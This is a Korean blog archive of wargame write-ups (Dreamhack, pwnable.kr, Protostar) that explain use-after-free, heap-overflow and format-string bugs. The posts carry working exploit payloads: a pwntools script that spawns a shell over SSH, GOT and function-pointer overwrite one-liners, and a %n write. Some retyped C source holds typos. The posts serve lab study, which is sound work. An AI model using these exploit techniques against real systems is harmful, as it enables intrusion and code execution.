'2025/01'에 해당되는 글 26건

우분투에 도커 등 설치 완료 후 UAF 고고~ 

https://velog.io/@leejiwon317/Dreamhack-Exercise-Docker-1nnyeqrt

 

Dreamhack - Exercise: Docker

Install Docker Engine on Ubuntu🔼위 링크를 참고하여 설치하였습니다.이렇게 뜨면 도커 설치 성공!이번 문제는 Dockerfile로 이미지를 빌드하고 컨테이너를 실행해 보기 위한 실습 문제!!!문제 파일을 다

velog.io

https://she11.tistory.com/153

 

[Dreamhack] uaf_overwrite - write up

Index문제보호기법 확인uaf_overwrite.c코드 분석전역 변수 선언human_func()robot_func()custom_func()문제 풀이Libc LeakLocal Exploit Issue 익스플로잇 uaf_overwriteDescription Exploit Tech: Use After Free에서 실습하는 문제입

she11.tistory.com

 

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));
  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);
  printf("Human Age: ");
  scanf("%ld", &human->age);
  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));
  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);
  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;
  robot->fptr(robot);
  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }
  printf("Size: ");
  scanf("%d", &size);
  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);
    printf("Data: %s\n", custom[c_idx]);
    printf("Free idx: ");
    scanf("%d", &idx);
    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }
  c_idx++;
}

int main() {
  int idx;
  char *ptr;
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

 

전역 변수 

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

두 구조체의 자료형을 보면 동일한 메모리 크기를 사용하는 것을 알 수 있다.

UAF(Use After Free 문제인 만큼 Human→age에 주소 값을 입력하고 해제하고 Robot 구조체로 재 할당하면, 재 할당 받은 Robot→fptr로 원하는 코드 흐름을 실행시킬 수 있을 것 같다. 또한, 주소를 담고 있는 custom 배열과 이를 참조하는 c_idx가 선언된다.

human_func()

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));
  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);
  printf("Human Age: ");
  scanf("%ld", &human->age);
  free(human);
}

robot_func()

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));
  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);
  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;
  robot->fptr(robot);
  free(robot);
}

Robot(2번) 메뉴를 선택하면 robot_function함수가 실행된다. Robot 구조체 1개를 동적할당 하고, weight를 입력받아 데이터를 저장한다. fptr에 대한 입력은 없지만, robot→fptr의 값이 NULL이 아니라면 fptr의 주소로 점프한다.

위의 두개의 함수를 통해 Human→age에 원하는 주소를 입력해두고, robot_func()을 실행하면 robot→fptr에 앞서 저장해준 Human→age값으로 robot→fptr()이 실행된다. 그렇다면 Human→age에 원샷 가젯의 주소를 넣으면 셸을 얻을 수 있을 것이다. 하지만 우리는 libc를 모르기 때문에, 메모리 릭을 통해 libc를 먼저 구해야 한다.

custom_func()

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }
  printf("Size: ");
  scanf("%d", &size);
  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);
    printf("Data: %s\n", custom[c_idx]);
    printf("Free idx: ");
    scanf("%d", &idx);
    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }
  c_idx++;
}

마지막으로 Custom(3번) 메뉴를 선택하면 custom_func함수가 실행된다. 먼저 첫 if문의 c_idx는 앞서 선언했던 전역변수이다. 이 함수가 실행될 때마다 마지막에 c_idx++를 해주므로, 총 10번을 실행할 수 있다.

입력받은 size가 0x100보다 크다면 custom[c_idx]에 size만큼의 동적할당을 해주고, 데이터를 입력받는다.

char *custom[10];
printf("Data: %s\n", custom[c_idx]);

데이터를 입력받은 후, custom[c_idx]에 값을 출력해준다. 이 Data 부분에는 Unsorted bin을 free 했을 때 남아있던 fd 값이 출력된다. unsorted bin에 들어간 청크의 fd와 bk은 main 의 주소이고, 이 오프셋을 통해서 libc를 구할 수 있다.


unsigned int idx;
...
if (idx < 10 && custom[idx]){
	free(custom[idx]);
  custom[idx] = NULL;
}
...

idx가 unsigned int자료형으로 선언되었다. 만약 idx에 -1(음수)를 입력하게 되면 0xffffffff와 같은 형식으로 메모리에 입력된다. 그러면 할당된 메모리를 free하지 않는다.





 

 

 

 

 

'시스템' 카테고리의 다른 글

onone_gadget 설치 및 사용법 (펌)  (0) 2025.02.02
peda, pwndbg, gef 같이 쓰기 (펌)  (0) 2025.02.02
pwnable.kr UAF (리마인드)  (0) 2025.01.31
protostar net3  (0) 2025.01.31
protostar net1  (0) 2025.01.31
블로그 이미지

wtdsoul

,
블로그 이미지

wtdsoul

,

https://power-girl0-0.tistory.com/565

 

[pwnable] uaf 풀이

1. 문제 문제에 주어진 ssh로 접속하면, uaf.cpp와 uaf 실행파일이 주어진다. uaf를 실행해보면, 아래와 같이 메뉴를 보여주고 입력할 수 있는 커서가 존재한다. 2. 풀기 전, 알고 가기 ① 힙영역이란? -

power-girl0-0.tistory.com

해당 풀이를 참고하여 리마인드차 UAF 문제를 풀어보고자 하였는데 이용이 불가하네
일단 개념만 다시보고 드림핵 문제를 풀어봐야겠다.

나중에 다시 접근을 해봐야겠다..

 

① 힙영역이란?

- 메모리를 동적으로 할당하여, 사용하는 공간을 의미한다.

- 필요에 의해, 메모리를 할당하고 해제한다.

② heap overflow란?

- 할당된 메모리보다 많은 값을 넣어서, 다른 메모리 주소 값까지 침범하여 발생한다.

- 만약, 함수 포인터가 존재하는 부분까지 침범해서 조작한다면, 프로그램의 실행 흐름을 바꿀 수 있는 문제가 발생한다.

③ UAF(Use After Free)

- 힙 영역에서 메모리 해제 후, 해제한 메모리 영역을 재사용할 때 발생하는 취약점이다.

#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
        virtual void give_shell(){
                system("/bin/sh");
        }
protected:
        int age;
        string name;
public:
        virtual void introduce(){
                cout << "My name is " << name << endl;
                cout << "I am " << age << " years old" << endl;
        }
};

class Man: public Human{
public:
        Man(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);

        size_t len;
        char* data;
        unsigned int op;
        while(1){
                cout << "1. use\n2. after\n3. free\n";
                cin >> op;

                switch(op){
                        case 1:
                                m->introduce();
                                w->introduce();
                                break;
                        case 2:
                                len = atoi(argv[1]);
                                data = new char[len];
                                read(open(argv[2], O_RDONLY), data, len);
                                cout << "your data is allocated" << endl;
                                break;
                        case 3:
                                delete m;
                                delete w;
                                break;
                        default:
                                break;
                }
        }

        return 0;
}

여기서 참고! C언어에서는 malloc과 free로 동적할당하지만, C++에서는 new과 delete를 사용한다.

위 코드 분석을 통해 알 수 있는 점은 아래와 같다.


  ⇨ class Human에 선언된 private권한의 give_shell()함수에 접근해, 쉘을 획득할 수 있다.

   Human을 상속받은 man과 woman의 객체를 생성한다.
   case 1은 생성한 객체 m과 w를 통해, introduce()함수를 불러온다.
   case 2는 사용자에게 입력받아온 값을 바탕으로 동적할당한다. ( argv[1] : len / argv[2] : file )
   case 3은 객체 m과 w 메모리를 해제한다.

 

시나리오를 만들어보자면, 아래와 같다.

할당되어 있는 m과 w 메모리를 해제하고, 해제한 메모리와 같은 크기를 할당한다.
이는 같은 크기이기 때문에, m과 w가 가르키고 있는 공간을 할당하게 된다.
새로 할당받은 공간을 악의적인 값으로 변경하고 메모리부분을 실행시키면, 해제했던 메모리를 재사용하게 된다.
이는 uaf취약점이 발생한 것으로, 접근이 불가능한 부분에 접근하여 shell을 획득할 수 있다.

 

시나리오를 바탕으로, 우리는 uaf 취약점을 활용해서 아래 순서대로 문제를 clear 할 수 있다.

① 메뉴 1번을 눌러서, 동적할당한 m과 w가 introduce( )함수의 주소값을 갖게 한다. 
② 메뉴 3번을 눌러서, m과 w 메모리를 해제한다.
③ 메뉴 2번을 눌러서, 위에서 해제했던 메모리와 같은 크기를 동적할당하고, 값은 give_shell주소값으로 바꿔준다.
        ( 0x401570-0x8 = 0x401568 )
④ 메뉴 1번을 눌러서, 2번에서 해제했던 메모리를 재사용함으로써 uaf가 발생하는 취약점이다.

위 순서대로 실행하면, shell을 획득하여 flag를 얻을 수 있다.

 

from pwn import *

argvs=[b"./uaf","4","/tmp/d0bbyG/attack"]
p = ssh(user = b"uaf", host = b"pwnable.kr", password = b"guest", port = 2222)
p1 = p.process(argv=argvs)

def PRINT():
    ans = p1.recvuntil(b"3. free")
    print(ans)

def USE():
    p1.sendline("1")

def AFTER():
    p1.sendline("2") 
    PRINT()

def FREE():
    p1.sendline("3")
    PRINT()

PRINT()
USE()
PRINT()
FREE()
AFTER()
AFTER()
USE()
p1.interactive()

'시스템' 카테고리의 다른 글

peda, pwndbg, gef 같이 쓰기 (펌)  (0) 2025.02.02
Dreamhack UAF (진행 중)  (0) 2025.01.31
protostar net3  (0) 2025.01.31
protostar net1  (0) 2025.01.31
eprotostar heap1  (0) 2025.01.31
블로그 이미지

wtdsoul

,

protostar net3

시스템 2025. 1. 31. 21:48

 

import struct
import socket
import time

def until(s, string):
    data = b''
    while string not in data:
        data += s.recv(1)
    return data

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.249.139', 2997))

l = list()
l.append(int(struct.unpack('<I',s.recv(4))[0]))
l.append(int(struct.unpack('<I',s.recv(4))[0]))
l.append(int(struct.unpack('<I',s.recv(4))[0]))
l.append(int(struct.unpack('<I',s.recv(4))[0]))

result = int(sum(l))
print(l)
print('sum : '+str(result))
s.send(struct.pack('<I', result))
print(str(s.recv(1024)))
s.close()
import socket
import struct

s = socket.socket()
s.connect(("192.168.56.101",2997))

sum = 0
for i in range(4):
	data = s.recv(4)
	data = "%d\n" % (struct.unpack('<i', data))
	sum += int(data)

s.send(struct.pack("<I", sum))
print s.recv(1024)
s.close()

'시스템' 카테고리의 다른 글

Dreamhack UAF (진행 중)  (0) 2025.01.31
pwnable.kr UAF (리마인드)  (0) 2025.01.31
protostar net1  (0) 2025.01.31
eprotostar heap1  (0) 2025.01.31
protostar net0  (0) 2025.01.30
블로그 이미지

wtdsoul

,

protostar net1

시스템 2025. 1. 31. 20:48
#include "../common/common.c"
#define NAME "net1"
#define UID  998
#define GID 988
#define PORT 2998

void run()
{
	char buf[12];
	char fub[12];
	char *q;
	
	unsigned int wanted;
	
	wanted = random();
	sprintf(fub, "%d", wanted);
	
	if(write(0, &wanted, sizeof(wanted)) != sizeof(wanted) {
		errx(1, ":(\n)");
	}
	
	if(fgets(buf, sizeof(buf) -1, stdin) == NULL) {
		errx(1, ":( \n");
	}
	
	q = strchr(buf, '\r'); if(q) *q = 0;
	q = strchr(buf, '\n'); if(q) *q = 0;
	
	if(strcp(fub, buf) == 0) {
		printf("you correctly sent the data \n");
		
	} else {
		printf("you didn't send the data properly \n");
	}
}

int main(int argc, char **argv, char envp) 
{
	int fd;
	char *username;
	
	/* Run the process as a daemon */
	background_process(NAME, UID, GID);
	
	/* Wait for socket activity and return */
	fd = serve_forever(PORT);
	
	/* Set the client socket to STDIN, STDOUT and STDERR */
	set_io(fd);
	
	/* Don't do this */
	srandom(time(NULL));
	
	run();
	
}


럔덤한 값을 받고 다시 전달해는 것으로 확인

'시스템' 카테고리의 다른 글

pwnable.kr UAF (리마인드)  (0) 2025.01.31
protostar net3  (0) 2025.01.31
eprotostar heap1  (0) 2025.01.31
protostar net0  (0) 2025.01.30
protostar heap1  (0) 2025.01.30
블로그 이미지

wtdsoul

,

eprotostar heap1

시스템 2025. 1. 31. 18:35
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys.types.h>

struct internet {
	
	int priority;
	char *name;
};

void winner() 
{
	printff("and we have a winner @ %d \n", time(NULL));
}

int main(int argc, char **argv)
{
	struct internet *i1, *i2, *i3;
	
	i1 = malloc(sizeof(struct internet));
	i1 -> priority = 1;
	i1 -> name = malloc(8);
	
	i2 = malloc(sizeof(struct internet));
	i2 -> priority = 2;
	i2 -> name = malloc(8);
	
	strcpy(i1 -> name, argv[1]);
	strcpy(i2 -> name, argv[2]);
	
	printf("and that's a wrap forlks! \n");
	
}

https://blog.naver.com/seongjin0526/221339631441

 

exploit-exercises protostar heap1

user@protostar:/opt/protostar/bin$ gdb -q heap1 (gdb) info func All defined functions: File heap1/...

blog.naver.com

(gdb) disas main
Dump of assembler code for function main:
0x080484b9 <main+0>: push   %ebp
0x080484ba <main+1>: mov    %esp,%ebp
0x080484bc <main+3>: and    $0xfffffff0,%esp
0x080484bf <main+6>: sub    $0x20,%esp
0x080484c2 <main+9>: movl   $0x8,(%esp)
0x080484c9 <main+16>: call   0x80483bc <malloc@plt>
0x080484ce <main+21>: mov    %eax,0x14(%esp) // esp+0x14 = 할당 1
0x080484d2 <main+25>: mov    0x14(%esp),%eax
0x080484d6 <main+29>: movl   $0x1,(%eax) // 할당 1 = 1
0x080484dc <main+35>: movl   $0x8,(%esp)
0x080484e3 <main+42>: call   0x80483bc <malloc@plt>
0x080484e8 <main+47>: mov    %eax,%edx // edx = 할당 2
0x080484ea <main+49>: mov    0x14(%esp),%eax
0x080484ee <main+53>: mov    %edx,0x4(%eax) // (esp+0x14)+4 = 할당 2
0x080484f1 <main+56>: movl   $0x8,(%esp)
0x080484f8 <main+63>: call   0x80483bc <malloc@plt>
0x080484fd <main+68>: mov    %eax,0x18(%esp) // esp+0x18  = 할당 3
0x08048501 <main+72>: mov    0x18(%esp),%eax
0x08048505 <main+76>: movl   $0x2,(%eax) // 할당 3 = 2
0x0804850b <main+82>: movl   $0x8,(%esp) 
0x08048512 <main+89>: call   0x80483bc <malloc@plt>
0x08048517 <main+94>: mov    %eax,%edx
0x08048519 <main+96>: mov    0x18(%esp),%eax
0x0804851d <main+100>: mov    %edx,0x4(%eax) // (esp+0x18)+4 = 할당 4
// 할당1(1, 할당2) | 할당3(2, 할당4) => 할당 1안에 할당2가 존재, 할당 3안에 할당4가 존재 약간 리스트 같이 구조체안에 영역이 있는 것 같은 형식이다.
// 할당 1이 8바이트이고 할당 1+4에 또 8바이트인데다 할당 1+0가 1이 들어가니
// 할당 1은 구조체이고 구조체 구조는
// int(or long) , *pointer 이렇게 두개의 변수로 구성된것을 알 수 있다.
0x08048520 <main+103>: mov    0xc(%ebp),%eax // argv0
0x08048523 <main+106>: add    $0x4,%eax // argv1
0x08048526 <main+109>: mov    (%eax),%eax
0x08048528 <main+111>: mov    %eax,%edx // 
0x0804852a <main+113>: mov    0x14(%esp),%eax // 할당 1 불러옴
0x0804852e <main+117>: mov    0x4(%eax),%eax // (할당 1)+4 불러옴
0x08048531 <main+120>: mov    %edx,0x4(%esp) // 
0x08048535 <main+124>: mov    %eax,(%esp) // argv1
0x08048538 <main+127>: call   0x804838c <strcpy@plt> 
// argv1의 값을 (할당 1)+4에 복사한다.

0x0804853d <main+132>: mov    0xc(%ebp),%eax
0x08048540 <main+135>: add    $0x8,%eax // argv2
0x08048543 <main+138>: mov    (%eax),%eax
0x08048545 <main+140>: mov    %eax,%edx
0x08048547 <main+142>: mov    0x18(%esp),%eax // 할당 3 불러옴
0x0804854b <main+146>: mov    0x4(%eax),%eax // (할당 3)+4 부분 불러옴
0x0804854e <main+149>: mov    %edx,0x4(%esp) // 
0x08048552 <main+153>: mov    %eax,(%esp) // argv2
0x08048555 <main+156>: call   0x804838c <strcpy@plt> 

// argv2의 값을 (할당2)+4에 복사한다.
// => argv1의 값을 복사할때 overflow를 일으켜서 (할당3)의 영역에서 +4의 주소를 변경시킬 수 있다면
//    두번째 strcpy를 통해서 원하는 지점의 값을 argv2를 통해 변조할 수 있게 된다. 
//    (할당3)+4의 주소를 stack의 ret으로 변조하여 ret의 값을 winner 함수로 변경시켜 함수 종료시 winner 함수를 호출하는 방법과
//    (할당3)+4의 주소를 puts의 GOT로 변조하여 GOT를 winner 함수로 변경시키는 GOT Overwrite 방법이 있다.
//    필자는 후자의 방법으로 진행한다. (소스코드에는 printf로 되어있는데 왜 asm에는 puts지....)

0x0804855a <main+161>: movl   $0x804864b,(%esp) //
0x08048561 <main+168>: call   0x80483cc <puts@plt> // GOT Overwrite를 통해 winner 함수를 호출할 수 있는 이유임.
// strcpy를 통해 덮어쓰여진 후 호출되기 때문. 

0x08048566 <main+173>: leave  
0x08048567 <main+174>: ret    
End of assembler dump.

(gdb) disas winner
Dump of assembler code for function winner:
0x08048494 <winner+0>: push   %ebp
0x08048495 <winner+1>: mov    %esp,%ebp
0x08048497 <winner+3>: sub    $0x18,%esp
0x0804849a <winner+6>: movl   $0x0,(%esp)
0x080484a1 <winner+13>: call   0x80483ac <time@plt>
0x080484a6 <winner+18>: mov    $0x8048630,%edx
0x080484ab <winner+23>: mov    %eax,0x4(%esp)
0x080484af <winner+27>: mov    %edx,(%esp)
0x080484b2 <winner+30>: call   0x804839c <printf@plt>
0x080484b7 <winner+35>: leave  
0x080484b8 <winner+36>: ret    
End of assembler dump.

Start Addr 0x804a000 => heap 

r AAAA BBBB 로 수정하여 위치 재확인

0x804a000: 0x00000000 0x00000011 0x00000001 0x0804a018  <= ABCD를 가리킴 
0x804a010: 0x00000000 0x00000011 0x44434241 0x00000000
0x804a020: 0x00000000 0x00000011 0x00000002 0x0804a038  <= (할당 2)+4의 주소
// (할당 2)+4를 puts@GOT로 덮으면 되는데 ABCD에서 20byte 떨어져있으므로 "A"*20+puts@GOT 를 argv1로 주면 될듯
// argv2는 winner 주소로 넣으면 puts@GOT를 winner로 덮어씌울 수 있음.

/heap1 `python -c 'print "A"*20+"\x74\x97\x04\x08"'` `python -c 'print "\x94\x84\x04\x08"'
                                                   puts@GOT + winner (0x08048494)

 



'시스템' 카테고리의 다른 글

protostar net3  (0) 2025.01.31
protostar net1  (0) 2025.01.31
protostar net0  (0) 2025.01.30
protostar heap1  (0) 2025.01.30
protostar heap0  (0) 2025.01.30
블로그 이미지

wtdsoul

,

protostar net0

시스템 2025. 1. 30. 23:11

https://github.com/LYoungJoo/WarGame_WrteUp/blob/master/protostar/Net0-2%20Write%20Up/NET0.py

 

WarGame_WrteUp/protostar/Net0-2 Write Up/NET0.py at master · LYoungJoo/WarGame_WrteUp

wargame writeup. Contribute to LYoungJoo/WarGame_WrteUp development by creating an account on GitHub.

github.com

 

백그라운드로 구동

#include "../common/common.c"

#define NAME "net0"
#define UID 999
#define GID 999
#define PORT 2999

void run()
{
	unsigned int i;
	unsigned int wanted;
	
	wanted = random();
	
	printf("Please send '%d' as a little endian 32bit int \n", wanted);
	
	if(fread(&i, sizeof(i), 1, stdin) == NULL) {
		errx(1, ":(\n");
	}
	
	if(i == wnated) {
		printf("Thank you sir/madam \n");
	} else {
		printf("I'm sorry, you sent %d instead \n", i);
	}
	
}

int main(int argc, char **argv, char **envp)
{
	int fd;
	char *username;
	
	/* Run the process as a daemon */
	background_process(NAME, UID, GID);
	
	/* Wait or socket activity and return */
	fd = serve_forever(PORT);
	
	/* Set the client socket to STDIN, STDOUT, and STDERR */
	set_io(fd);
	
	/* Don't do this */
	srandom(time(NULL));
	
	run();
}
import socket
import struct

def until(s, string):
    data = b''
    while string not in data:
        data += s.recv(1)
    return data

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.249.139', 2999))

data = until(s, b'\n')
recvstring = str(data)
print(recvstring)
start = str(data).find("'")+1
end = str(data).find("'", start)
quiz = int(recvstring[start:end])

convlittle = struct.pack('<I',quiz)
s.send(convlittle)
print(until(s, b'\n'))
s.close()



참고

# using pwntool : https://github.com/Gallopsled/pwntools
from pwn import *

s = remote('10.211.55.9', 2999)

data = int(s.recvline()[13:22])

print "[+] RECV " + str(data)
print "[+] SEND"

s.send(p32(data)) # packing
print "[+] " + str(s.recvline())
import socket
import struct

s = socket.socket()
s.connect(("192.168.xxx.xxx",2999))

data = s.recv(1024)
print data
data = data.split("'")

s.send(struct.pack('<i', int(data[1])))
print s.recv(1024)
s.close()

'시스템' 카테고리의 다른 글

protostar net1  (0) 2025.01.31
eprotostar heap1  (0) 2025.01.31
protostar heap1  (0) 2025.01.30
protostar heap0  (0) 2025.01.30
protostar format3  (0) 2025.01.30
블로그 이미지

wtdsoul

,

protostar heap1

시스템 2025. 1. 30. 22:16

https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/

 

PLT와 GOT 자세히 알기 1

Dynamic Linking 과정을 추적해 PLT와 GOT를 이해해보자 :) 시스템 해킹을 공부하시는 분들이라면 PLT와 GOT에 대해 알고 있을 것입니다. 이제 막 시스템 해킹 공부를 시작한 분들도 한 번 쯤 들어보셨을

bpsecblog.wordpress.com

 

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

  

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

name 멤버 변수에 argv[1], argv[2]의 값을 strcpy() 함수로 복사하고있다.
strcpy() 함수에서 힙 오버플로우가 발생 

malloc 이후 break point 설정
x/x $eax 
=> 0x804a008

<main+161>부분에 break point를 걸어주고 값을 넣고 heap의 상태를 보자
0x0804a018부분은 i1->name이고 0x0804a038은 i2->name이다.

printf() 함수가 최적화 때문에 puts() 함수로 패치되었다.
puts()함수의 got를 구해 puts() 함수의 got가 winner() 함수를 호출하도록 바꿔주면된다.
페이로드는 dummy[20] + got + winner() 함수 주소

즉 NOP(20) + puts GOT, 0x8049774) + 0x8048494(winner)

./heap1 $(python -c 'print "\x90" * 20 + "\x74\x97\x04\x08"') $(python -c 'print "\x94\x84\x04\x08"')



'시스템' 카테고리의 다른 글

eprotostar heap1  (0) 2025.01.31
protostar net0  (0) 2025.01.30
protostar heap0  (0) 2025.01.30
protostar format3  (0) 2025.01.30
protostar format2  (0) 2025.01.29
블로그 이미지

wtdsoul

,

protostar heap0

시스템 2025. 1. 30. 21:18
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);
  
  f->fp();

}

strcpy() 함수에서 name 배열에 argv[1] 값을 복사할 떄 힙 오버플로우 발생 

fp 와 data 차이는 HEX로 0x48 차이나며 10진수로 72 차이가 난다. 


0x804a050 메모리 값 확인 시 0x08048478 의 nowinner의 주소가 들어가 있다. 
fd와 data 의 72 byte 내에 dummy + winner() 함수 주소가 포함되어 있을 가능성이 높다.

gdb로 확인된 0x08048464 로 

./heap0 $(python -c 'print "\x90" * 72 + \x64\x84\x04\x08"')

입력 시 확인완료

추가

(gdb) disas main

Dump of assembler code for function main:

0x0804848c <main+0>: push   %ebp

0x0804848d <main+1>: mov    %esp,%ebp

0x0804848f <main+3>: and    $0xfffffff0,%esp

0x08048492 <main+6>: sub    $0x20,%esp

0x08048495 <main+9>: movl   $0x40,(%esp) // 64바이트만큼 malloc으로 힙 할당하기 위한 인자

0x0804849c <main+16>: call   0x8048388 <malloc@plt>

0x080484a1 <main+21>: mov    %eax,0x18(%esp) // malloc 할당된 주소1 를 esp+0x18에 저장

0x080484a5 <main+25>: movl   $0x4,(%esp)

0x080484ac <main+32>: call   0x8048388 <malloc@plt> // 4바이트만큼 malloc 힙 할당

0x080484b1 <main+37>: mov    %eax,0x1c(%esp) // malloc 할당된 주소2 를 esp+0x1c에 저장 (fp임)

0x080484b5 <main+41>: mov    $0x8048478,%edx // edx에 nowinner 함수 지정

0x080484ba <main+46>: mov    0x1c(%esp),%eax // fp

0x080484be <main+50>: mov    %edx,(%eax) // fp를 nowinner로 지정

0x080484c0 <main+52>: mov    $0x80485f7,%eax // printf 인자 1

0x080484c5 <main+57>: mov    0x1c(%esp),%edx // printf 인자 2

0x080484c9 <main+61>: mov    %edx,0x8(%esp)

0x080484cd <main+65>: mov    0x18(%esp),%edx // printf 인자 3

0x080484d1 <main+69>: mov    %edx,0x4(%esp)

0x080484d5 <main+73>: mov    %eax,(%esp)

0x080484d8 <main+76>: call   0x8048378 <printf@plt>

0x080484dd <main+81>: mov    0xc(%ebp),%eax // argv0 

0x080484e0 <main+84>: add    $0x4,%eax // argv1

0x080484e3 <main+87>: mov    (%eax),%eax // *argv1

0x080484e5 <main+89>: mov    %eax,%edx

0x080484e7 <main+91>: mov    0x18(%esp),%eax // strcpy에 malloc 할당된 주소1 를 넣음

0x080484eb <main+95>: mov    %edx,0x4(%esp) // strcpy에 argv1[] 넣음

0x080484ef <main+99>: mov    %eax,(%esp)

0x080484f2 <main+102>: call   0x8048368 <strcpy@plt> 

// => strcpy를 이용해서 malloc 할당된 범위를 넘겨서 fp를 winner함수로 변조하면 됨

0x080484f7 <main+107>: mov    0x1c(%esp),%eax

0x080484fb <main+111>: mov    (%eax),%eax

0x080484fd <main+113>: call   *%eax

0x080484ff <main+115>: leave  

0x08048500 <main+116>: ret

./heap0 `python -c 'print "A"*72+"\x64\x84\x04\x08"'`

'시스템' 카테고리의 다른 글

protostar net0  (0) 2025.01.30
protostar heap1  (0) 2025.01.30
protostar format3  (0) 2025.01.30
protostar format2  (0) 2025.01.29
protostar format1  (0) 2025.01.28
블로그 이미지

wtdsoul

,

protostar format3

시스템 2025. 1. 30. 20:04

https://blog.naver.com/seongjin0526/221330979343?trackingCode=rss

 

exploit-exercises protostar format3

(gdb) info fun All defined functions: File format3/format3.c: int main(int, char **); void printbu...

blog.naver.com

 


 
(python -c 'print "AAAA"+".%8x"*12') | ./format3
(python -c 'print "\xf4\x96\x04\x08" + "%08x" * 10 + "%16930032x%n"') | ./format3

변경해야하는 값0x0102554는 10진수로 16930116 이다.
페이로드는 target 주소 + %08x * 10 + %16,930,032x%n
16930032는 target주소와 포맷 공백은 84를 빼준 값
앞에있는 84와 16930032가 더해져 16930116이 되어 16진수값 0x0102554가 target주소에 값이 들어간다.

 

'시스템' 카테고리의 다른 글

protostar heap1  (0) 2025.01.30
protostar heap0  (0) 2025.01.30
protostar format2  (0) 2025.01.29
protostar format1  (0) 2025.01.28
protostar stack5  (0) 2025.01.28
블로그 이미지

wtdsoul

,